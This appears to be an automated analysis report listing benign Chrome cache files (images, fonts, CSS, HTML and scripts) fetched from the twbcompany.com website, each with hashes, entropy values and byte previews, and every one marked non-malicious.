File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x600, components 3
Category:	dropped
Size (bytes):	95197
Entropy (8bit):	7.966082904022382
Encrypted:	false
SSDEEP:	1536:ZUqVqNHcT1hezfuQgmr8kp0RF7BgJjJUz+TlfQPN3l7H+wvK:ZUXST1hMfu7mVy7wjJUaTylBHK
MD5:	0FC9C800ED55298B27CC75F79AF32B7C
SHA1:	81EABD224FBE3E26491605404F928C2309BBB2A5
SHA-256:	97493B3E7DCA9F986717192424A0BAF716BDE72FD60BB57C2DC4F3808F80DE83
SHA-512:	0458C43E50C2A9FC5AC7B5060D4C5A752338ABC76D382E5CA0343DED5AE04251B6478F259EA4A6BFBFBC9B7F7437CAD3D2CFBB2ACED83A45F3FC54B31AE13A05
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:FB31B48858DB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:FB31B48758DB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	66912
Entropy (8bit):	7.81392970439184
Encrypted:	false
SSDEEP:	1536:xHtYSX61EgAW/f4bLcMVu5BL4I1gV6zB+d:xHtYSq1QBbLcbD3gV6zAd
MD5:	1251662C500C700C3C4B0D24BB05A1BA
SHA1:	B51582D9FEF98759576CF0ECD5C7E9FB5B986FAA
SHA-256:	284B962989DBD71AFB2D55B7F04F50A1C5CB9BC7F2FBFF8B9A6F0E411403C3AB
SHA-512:	B1CAD8981C0AFD598553BFE4AFB130B1B1526A9ED5EF1E672474CF373C4CFD05318B40EFC5C233B23A191BD085D13A9F3D89200328213CE70B9C14B1478B0AA4
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-headerless.jpg
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:DA4242E8B64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:DA4242E9B64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C4BA49D3B64211E5960E89E0CB43E699" stRef:documentID="xmp.did:C4BA49D4B64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 33092, version 1.0
Category:	downloaded
Size (bytes):	33092
Entropy (8bit):	7.993894754675653
Encrypted:	true
SSDEEP:	768:c+2lFKscxQAuDJ5m/xiYEQNMJjFaf0TteqKt:cZlhcxJuDa/xiMMJhaItzKt
MD5:	057478083C1D55EA0C2182B24F6DD72F
SHA1:	CAF557CD276A76992084EFC4C8857B66791A6B7F
SHA-256:	BB2F90081933C0F2475883CA2C5CFEE94E96D7314A09433FFFC42E37F4CFFD3B
SHA-512:	98FF4416DB333E5A5A8F8F299C393DD1A50F574A2C1C601A0724A8EA7FB652F6EC0BA2267390327185EBEA55F5C5049AB486D88B4C5FC1585A6A975238507A15
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2
Preview:	wOF2.......D......6...............................a......Z?HVAR...`?STAT.8'2..F/~.....\|.M....0....6.$.... ..x..<..[.%Q.i.<.N..t.Yx..5.A...\|..g#l....5.....D.Bt.......l.Y].)..(..H.s..V..ruM....[.....I.0h.v.Hc.R..]....`$.I)G.+.}....E%.H..\|..%nEE.....+.x..7\|........[..V....[.......0...CA.._....)2.$.....s_fw....+.V.H.B.<?.?..mloc..1.Q....a.r#...)......\|.F>..../6-.......t......>......tO.:f@b....u.I(.Bc..b....7.?A.....vE.}...kb]W7.h..$@......T1t.8.._?...~..,..I..."Y...1..s.V........R.Bf2..I....s.........u.P.&..D./"2qf....p.sv..)b5.yR.$MR3.@.E../>{w.....f...cN...2.v.....]>..Ow...9/!v...r..1.4.n.w...T......=...hRH!.....2`...u..82L...S.v.ik^.V.....@..N....d{..{...NN"'.H...H$..H.<..{?..x.....zv.}.~.N)4.g...X.....8\|}...e,%.:..;.Q..88...@..=UVHe....g..zD?..U...~.J...oMoP..6B"Y.{BN...vY<.o..r.7.7j%.Z%.'...]...........YK...,.a-;.M....>\.......%'+8Z.1K.y...9.(;.5 ..M..L.(..9...T)........hx..i2Y...m..{ulY...d......")^.,.n.~..r..S.o.$.....6=.i...N.....q0 ....

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	21555
Entropy (8bit):	6.066152096265144
Encrypted:	false
SSDEEP:	192:UaKEiUIXJk7+H1hgfqhNMj2LbnJibw9xDCCk5ZV5TItGTI56hazHsNJXZcBI/LOb:8nUIMu15h4IbJjx+rHTIoTphEHEWBI2r
MD5:	8C57C63DFA6BC4BF9111EC0248ED4E36
SHA1:	BB6B18F8CFF37F621E44967911DB9BEA25EB3AA1
SHA-256:	ED539B0E408510E919FC366E92DAE1C1125F4C6A0F6BFA90BCD6F04781B49DBF
SHA-512:	CEEF112C5888C4AA12321D6C7EC8FE284CBD61A98118897FC56F4018BF19975D1E6CE4FB343A795B6366963CEEAD1FAE44CA23C9C8C9722D7215126DD3079081
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/b-pillar-inner.jpg
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:A78DFEB6B64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:A78DFEB7B64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A78DFEB4B64211E5960E89E0CB43E699" stRef:documentID="xmp.did:A78DFEB5B64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	35388
Entropy (8bit):	5.420050545618134
Encrypted:	false
SSDEEP:	768:vGiPmX0FZdapFciPTmmo6B1bwoGk+58e8xnIhW:31apC8Tmmo6B1bTL+2e8xnIhW
MD5:	EC8D5FF7E71DF2ED9BFB33883219949F
SHA1:	4EDBDDA8216F673B831321A468F85DEF3F75849C
SHA-256:	9005B59328CF175A8C42B0A6F26412036B9E25B161D712BB731ECDA53E78DC58
SHA-512:	78608104919F710D44E11168903424971D20AC0CC56C848AFB087170F65AE90747C935EE5291988AD34FB2917C3ABB192B5AF75DA3B83F4861C50B80252B6463
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/services/forming-analysis/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2550 x 896, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1724038
Entropy (8bit):	7.985733919825843
Encrypted:	false
SSDEEP:	24576:w+ab7I9x1ka27mbFdzeK/5mWnwS9rHKopo1Rc7su4hg9IIIjg7i34Dzw4u:w+aHBCSacS9rHK6wOKIIk+3qzw4u
MD5:	E06396102D509318D7BAEA5280885E27
SHA1:	C3C34467D30941317853B8A578BF65CDB78C11CB
SHA-256:	1E668724AA6614C32BF2D85C8C14D8D03577255229F651DE966A52020316CE97
SHA-512:	C5F72A7D79DBF36A64A5ABBDB8B848D66306BCF851F3A86C9CA334C2CC0C1559507AE2D45D930891F5ECC363CAAC8FA7F15EC4712F3CB4D3B30058C47C07F501
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png
Preview:	.PNG........IHDR.............r.....liCCPICC Profile..H..W.XS...[RIh..........B. ..6B.H(1&..;....E.+...V@..E.......bC.MH@.}.{....?g.....{.....J.Qm..$.......&.. @.... ..r);>>.@...]...P.:+..9._EW ...@.@.%... >..../...@T.&.J.x..z2. .+.8G..+q....IN.@\|..2.....y..E.....bW.@,.@k..\|.O..2.a......b{h/....XY.q...?k...........K.yS....o).W.....&.E&.5..7!Z.i.wI.b....X..;.(U..LQ.&\|9....@...FCl.q.$?6F.....s!....,..&Cl..\|.<,Im.Q6!Q....q.j.9......E^.[..F$..1.bQr..T......kB.".K.V.(.qb.ld.De...'.%.!~.([..../+...m....j..P.....v.....].J.).<B....\...0U..s.$%I..AZ...Z.S...j{.R....[B.)/JR..S...T......dU.xq./^.........L..#.L..@.......f....@...g.f`EZ...^.@1.."!......."..2.U].Av.lQ..<........oE...T..j........C9.....o.6..5...L..Kb.1..I.':..x ...k0..8.....=.)....p..N.=^\".!....k..}-p[......2...1p.=..6..={A-G.........wOCmGq...!.`...+5.5..Y....>.X........?....=.GKl>..;....c.....a.X.vD..w...5.-.?.<.#..?....r.Z.N...B..B...L.N..sD.L6\|;..\..e........F...6......\|......c}}

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=9, manufacturer=Canon, model=Canon EOS 5D, xresolution=142, yresolution=150, resolutionunit=2, software=Adobe Photoshop Lightroom 4.0 (Windows), datetime=2012:07:09 20:40:59], baseline, precision 8, 3921x2614, components 3
Category:	dropped
Size (bytes):	3824757
Entropy (8bit):	7.961993846969107
Encrypted:	false
SSDEEP:	98304:7oABC6KoDq+pmrwVojsU7bPvPJjAH1O1tDRdbgB:MFjEq+IrwVTU3eH1EtDROB
MD5:	FEC947064145B64133467321C7ADBAF3
SHA1:	AA62C2A91EFC009A60F59324861A9BA8A9F21300
SHA-256:	54FB5FD5C0715F1C88324F615206D9216B388788DBA8BFDE45047DB30FD5449C
SHA-512:	13C194F6AA418E1512D701932C3594B12EF8AC7608DEECF8857A65CD6F478E3546C4C8A10377E6B2592DAFA27EBCCD01D5BF7530E651612343DF2008B7BBF33B
Malicious:	false
Reputation:	low
Preview:	......JFIF............".Exif..MM.*.................z.....................................(...........1.....(.....2...........;..........i..............Canon.Canon EOS 5D..................Adobe Photoshop Lightroom 4.0 (Windows).2012:07:09 20:40:59.PraterPhotography..........................&."...........'..................0230.......................B...........V...........^...........f...........n...................................v...........~.........................................................................0...........1...........2...........4.....................<...-....2012:06:27 10:42:18.2012:06:27 10:42:18..Z!...B@...A.......................-.....B.......,o.....PraterPhotography.1120802083.............i....................EF24-105mm f/4L IS USM...........................2...........:.(.....................B...................H.......H.........C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!2222222222222222222222222222222222222222222222

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	18553
Entropy (8bit):	6.998351680699253
Encrypted:	false
SSDEEP:	384:g4vPUSLFOAxD6uPUUf+l8TNlnOxGTidyUJOmIk:pvPU8FnDbUUlZhOx2idyRg
MD5:	6C80C38CB6759194914B13F50992CB8B
SHA1:	46972CC3458E96D80E686FA10E8BFDFE14122DF2
SHA-256:	4EE152780F2C9A64BCF5FADC6B4F238312F4E183A0ABE8F3A55008B6F95D85EC
SHA-512:	364BD3AD5F139D25282B1D5A035DB549BEE48B311F45507BAA2F90D7B7E177B710DFB2E55948169D3FCCBA658459319FBA6CBCE8B3AADF3E9B42D91EEA23C3F5
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E6286092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6285092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 22 x 400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4132
Entropy (8bit):	7.7916828445654955
Encrypted:	false
SSDEEP:	96:X0llcHitlIxv9vk7C1+I4wWHLihk/xCQe0b3bmjA:XvIIHUCD4waUX0vmjA
MD5:	0BDA211913767F912B8828AAB9153746
SHA1:	850F7D5F5316D4282920C4B309F34213BBB59103
SHA-256:	DFCD864C3C30D9B6884FDD4F6C9B57C90A3B9A2A7042514DEA3CBF937D64DDB8
SHA-512:	48879EF232AA398A9DB08A6679C948417CF1B0BCF720CB63C3B3A572E51A8E709B89018E0938B1E720AD0D21A1DB33D9D4C7A7EDD1489791219FB03FAAC71BBA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............J...CiCCPICC profile..x.SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D...A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m....... ......O......:..L..$R...J5e?

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	37080
Entropy (8bit):	5.375434644051965
Encrypted:	false
SSDEEP:	384:2pAsmGOf0wtb9ZSq99NnMU8OhqqtJXZ0q99HnC1Fuq9PUhq9IW/q935Cq9C:vN1pEIIMi
MD5:	6CB11429839A36D7014EE85776F281C4
SHA1:	4E95A4DEDC3D364601F6B2905769D48B877E0FEA
SHA-256:	9B5DB7944DABCDD8754D5870C2BA5343F82ACB3B98333CFEF7F5EECB6A11202F
SHA-512:	FE9AB2E3C81D30CD919BF31AA70A1F506EF599FB21C464C4482865F1ACB752711750588CD516283B0800F7A3EFE6E13F9C5FE52C186F0C5F30053195F8F92246
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Open+Sans:400,300,400italic,600,700,600italic\|Montserrat:400,700"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext */.@font-face {. font-f

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4140692
Entropy (8bit):	7.968684016707627
Encrypted:	false
SSDEEP:	98304:uxGjCZfkRFcVAnbBJeSBR0b0VherPcAo704BNR:uwjMkFcVuBsSEMerPcA+BH
MD5:	2E9AEEC64CD538BC59536737AC02B05C
SHA1:	348C57231C73F20CB87BBEEC7B8437FE34B35AD2
SHA-256:	9698A12E8B41AC6A92C5240E99C2CD7F1857A60EAFCD8532230EAB04625391D0
SHA-512:	6F78394EFD49961123D8C2E7C78F86E71AC16A6F81AD4C733B3C477DF7A2CB869DE6D2799BC99A68B1D50557B5957162307AD0846133AD0883F53BC64D672FE2
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png
Preview:	.PNG........IHDR.......8........C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..iH]........R...........BPQ...EAEQA.b....b..v.=.$$.!...4...".....t..$...]..v.].......y...s...XYIe..y>....c.c.9...7.k.GEi.J..Q.....h....rY..U..(/KGq...Y.p.F!.>.1q.......p82S.]..gc..'.0<=.b.....S....B.L..g{.7....tOu.k..]Sm..t.7.{.5....U....M.o....t/.f..ZG}h.i....OO-.[JQ.X.."Q)j.Q.)BJa.B.6.6.}l....XD.....D.sS.W....\.8..t.6...T..%.."..(..80?\...,.{b./]._......_.....X..)../d...;v..`Ko8f.6c..k.5lDK..p.~....P[.Q.__..O..Ng....QU....,..f..:..u..v.......RT.....%........ 5?..96.d$#5A...t.".v.&K~.6&&H.$I.$..1q..KDxl.4:Ae.#.S..(...Rlr.TU...I.F.'.Ua.._..#..$.S..,.JL..%...V%.F'!<,..Q)..N.0.Ir.4{.r..Q._.....k+.....a....v.abn.3..1.c....0....[.0.k..{.1.gT.S;....8......!.8....Mbb{/...`..........,.....C.X<2.....G.xx.s..U..h..S.....S..W).K...f.:Z.......1..M.X.O...d.\L...H.............k.......v...]si......./....JJ"Q^..jg&.\.(.rRR.'.$? ..:y?X~\E(..%..xa..s...rP..E.....{T

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15752)
Category:	dropped
Size (bytes):	18726
Entropy (8bit):	4.756109283632968
Encrypted:	false
SSDEEP:	384:WTbvzWuPTb9Uh3o//bEPjXgA2k1efAJmpr:WX6U9Uh3o//YrXgAGfACr
MD5:	B976B651932BFD25B9DDB5B7693D88A7
SHA1:	7FCB7CB5C11227F9213B1E08A07D0212209E1432
SHA-256:	4E6CE5444C7F396CEF0EB1FA3611034151E485DD06FBE5573A5583E1EEBC98C3
SHA-512:	A241EBDCFAF153D5C2A86761145B2575CBE734B4F416ACBFAC082AE5C6EB7C706BD6CA3BC286B7E1A0F9E326729252DCB95B776750C4A3A0D81F2AA6258EA39F
Malicious:	false
Reputation:	low
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return h.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,s,i,l=function d(u,f){v

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 233 x 51, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4541
Entropy (8bit):	7.7902221871784585
Encrypted:	false
SSDEEP:	96:6AknHfkWhf/pJ1d6pvV+9tiZRM20MSaXvwaPplwypQ:Fkn8Whf/pJ1AW00WXv/PfwOQ
MD5:	D66B92A70C008CD86FA7CF74574E2D67
SHA1:	0776C5A42B1960DF3788D7A212007BD1E6B30162
SHA-256:	379FF0297AA36882981BD011D44F7CFC3EDF9BF15DEB8528D1649D92ACFECD15
SHA-512:	8F4181D78278BCE944F0FFDF928EE979133D737D3F059A9D33AD4781AC68135DA79E247FC81CC8E375BB62CC9FCC3A92D22736CC5E98D350050BAC5CB1BF8143
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png
Preview:	.PNG........IHDR.......3.....r./.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:EBA42104A37411EE8CEBFECEBB2F9B1B" xmpMM:InstanceID="xmp.iid:EBA42103A37411EE8CEBFECEBB2F9B1B" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" stRef:documentID="3B5803A37CE689C69FE552874233FFC1"/> <dc:creator> <rdf:Seq> <rdf:li>Pete Desrosiers</rdf:li> </rdf:Seq> </dc:creator> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	83
Entropy (8bit):	4.702629793389398
Encrypted:	false
SSDEEP:	3:gkJRyRUZLW6XS+FXIR9dBlLVOb:PpW6Y75LYb
MD5:	26267CD8990F15D3BBEA71684A6D5995
SHA1:	AC3B38CF3FE0E112BB6AEB7E05226B7133575D93
SHA-256:	769E8AB745A0FE4BF811036E75A8630E38C50A18CB3E24D539CE4A0722C7C85E
SHA-512:	FE52418AE102F6621B45B8663241AB29428D7DED0BF9317B98331F5F5F1F07F0E400F1353F46A51C5724F1E2078791C1E97C4266C11CB1DAA4C388C21B58D6CC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7
Preview:	<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4269)
Category:	dropped
Size (bytes):	266502
Entropy (8bit):	5.566602128310309
Encrypted:	false
SSDEEP:	6144:FlIGKlqkhd1MvO5QEDF2Dej7dsSFVVl2M:FlwUkhd9lB
MD5:	5A65BA725B2442F2EE6D2F43DB148F5F
SHA1:	659D09C8F8498D0BC5C4F43D6BDEDE473B81DED8
SHA-256:	5DDA311E35BAD48F72CFC9DA3462D05EC0F720291ECA41EF2286E1348E26AD7B
SHA-512:	508B506F90D848F8A51D0B715D585D82835BC5DE2800760737D059293CFD155E524361D7BCE8A62082C44F26C5EDD0F9D4B773BE0A0E4024B72CD9FC1A53B81E
Malicious:	false
Reputation:	low
